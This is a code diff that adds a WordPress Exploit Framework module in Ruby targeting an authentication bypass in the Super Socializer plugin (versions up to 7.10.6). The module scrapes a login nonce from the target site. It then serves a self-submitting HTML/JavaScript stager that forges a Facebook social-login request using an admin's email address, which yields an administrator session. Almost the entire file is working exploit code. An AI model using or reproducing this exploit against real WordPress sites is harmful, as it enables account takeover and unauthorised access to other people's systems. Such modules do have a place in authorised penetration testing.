|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Auxiliary::SuperSocializerAuthBypass < Wpxf::Module |
| 4 | + include Wpxf |
| 5 | + include Wpxf::Net::HttpServer |
| 6 | + |
| 7 | + def initialize |
| 8 | + super |
| 9 | + |
| 10 | + update_info( |
| 11 | + name: 'Super Socializer <= 7.10.6 Authentication Bypass', |
| 12 | + desc: %( |
| 13 | + Super Socializer <= 7.10.6 is vulnerable to an |
| 14 | + authentication bypass exploit if an attacker is |
| 15 | + in posession of an admin's e-mail address and the |
| 16 | + social login feature is enabled. |
| 17 | +
|
| 18 | + This module will launch a HTTP server, which when |
| 19 | + visited will automate the bypass process, and |
| 20 | + provide an admin session. |
| 21 | + ), |
| 22 | + author: [ |
| 23 | + 'rastating' # WPXF module |
| 24 | + ], |
| 25 | + references: [ |
| 26 | + ['WPVDB', '9043'] |
| 27 | + ], |
| 28 | + date: 'Mar 03 2018' |
| 29 | + ) |
| 30 | + |
| 31 | + register_options([ |
| 32 | + StringOption.new( |
| 33 | + name: 'admin_email', |
| 34 | + desc: 'The e-mail address of the admin user to authenticate as', |
| 35 | + required: true |
| 36 | + ) |
| 37 | + ]) |
| 38 | + end |
| 39 | + |
| 40 | + def check |
| 41 | + check_plugin_version_from_readme('super-socializer', '7.10.7') |
| 42 | + end |
| 43 | + |
| 44 | + def stager |
| 45 | + %( |
| 46 | + <html> |
| 47 | + <head> |
| 48 | + </head> |
| 49 | + <body> |
| 50 | + <script> |
| 51 | + var url = '#{full_uri}', |
| 52 | + email = '#{datastore['admin_email']}', |
| 53 | + nonce = '#{login_nonce}'; |
| 54 | +
|
| 55 | + function exploit() { |
| 56 | + var param = { |
| 57 | + action: 'the_champ_user_auth', |
| 58 | + security: nonce, |
| 59 | + 'profileData[id]': 'a', |
| 60 | + 'profileData[link]': 'a', |
| 61 | + 'profileData[name]': 'a', |
| 62 | + 'profileData[email]': email, |
| 63 | + 'profileData[first_name]': 'a', |
| 64 | + 'profileData[last_name]': 'a', |
| 65 | + provider: 'facebook', |
| 66 | + redirectionUrl: encodeURI(url) |
| 67 | + }; |
| 68 | + var wnd = OpenWindowWithPost("#{wordpress_url_admin_ajax}", |
| 69 | + "width=700,height=345,left=100,top=100,resizable=yes,scrollbars=yes", "exploit", param); |
| 70 | +
|
| 71 | +
|
| 72 | + setTimeout(function() { |
| 73 | + wnd.close(); |
| 74 | + window.location.replace("#{wordpress_url_admin}"); |
| 75 | + }, 2000); |
| 76 | + } |
| 77 | +
|
| 78 | + function OpenWindowWithPost(url, windowoption, name, params) { |
| 79 | + var form = document.createElement("form"); |
| 80 | + form.setAttribute("method", "post"); |
| 81 | + form.setAttribute("action", url); |
| 82 | + form.setAttribute("target", name); |
| 83 | +
|
| 84 | + for (var i in params) { |
| 85 | + if (params.hasOwnProperty(i)) { |
| 86 | + var input = document.createElement('input'); |
| 87 | + input.type = 'hidden'; |
| 88 | + input.name = i; |
| 89 | + input.value = params[i]; |
| 90 | + form.appendChild(input); |
| 91 | + } |
| 92 | + } |
| 93 | +
|
| 94 | + document.body.appendChild(form); |
| 95 | +
|
| 96 | + var wnd = window.open("", name, windowoption); |
| 97 | +
|
| 98 | + form.submit(); |
| 99 | +
|
| 100 | + document.body.removeChild(form); |
| 101 | +
|
| 102 | + return wnd; |
| 103 | + } |
| 104 | +
|
| 105 | + document.addEventListener("DOMContentLoaded", function(event) { |
| 106 | + exploit(); |
| 107 | + }) |
| 108 | + </script> |
| 109 | + </body> |
| 110 | + </html> |
| 111 | + ) |
| 112 | + end |
| 113 | + |
| 114 | + def on_http_request(*) |
| 115 | + emit_info 'Serving stager...' |
| 116 | + { |
| 117 | + type: 'text/html', |
| 118 | + body: stager |
| 119 | + } |
| 120 | + end |
| 121 | + |
| 122 | + def fetch_nonce |
| 123 | + emit_info 'Fetching a login nonce...' |
| 124 | + res = execute_get_request(url: wordpress_url_login) |
| 125 | + return false unless res&.code == 200 |
| 126 | + |
| 127 | + pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i |
| 128 | + self.login_nonce = res.body[pattern, 1] |
| 129 | + |
| 130 | + if login_nonce.nil? |
| 131 | + emit_error 'Failed to fetch a login nonce' |
| 132 | + return false |
| 133 | + else |
| 134 | + emit_success "Found nonce: #{login_nonce}", true |
| 135 | + return true |
| 136 | + end |
| 137 | + end |
| 138 | + |
| 139 | + def run |
| 140 | + return false unless super |
| 141 | + return false unless fetch_nonce |
| 142 | + |
| 143 | + address = http_server_bind_address |
| 144 | + address = 'localhost' if address == '0.0.0.0' |
| 145 | + |
| 146 | + emit_info "Visit http://#{address}:#{http_server_bind_port} to login." |
| 147 | + emit_warning 'If your browser blocks the popup, be sure to allow it.' |
| 148 | + |
| 149 | + start_http_server |
| 150 | + true |
| 151 | + end |
| 152 | + |
| 153 | + attr_accessor :login_nonce |
| 154 | +end |
0 commit comments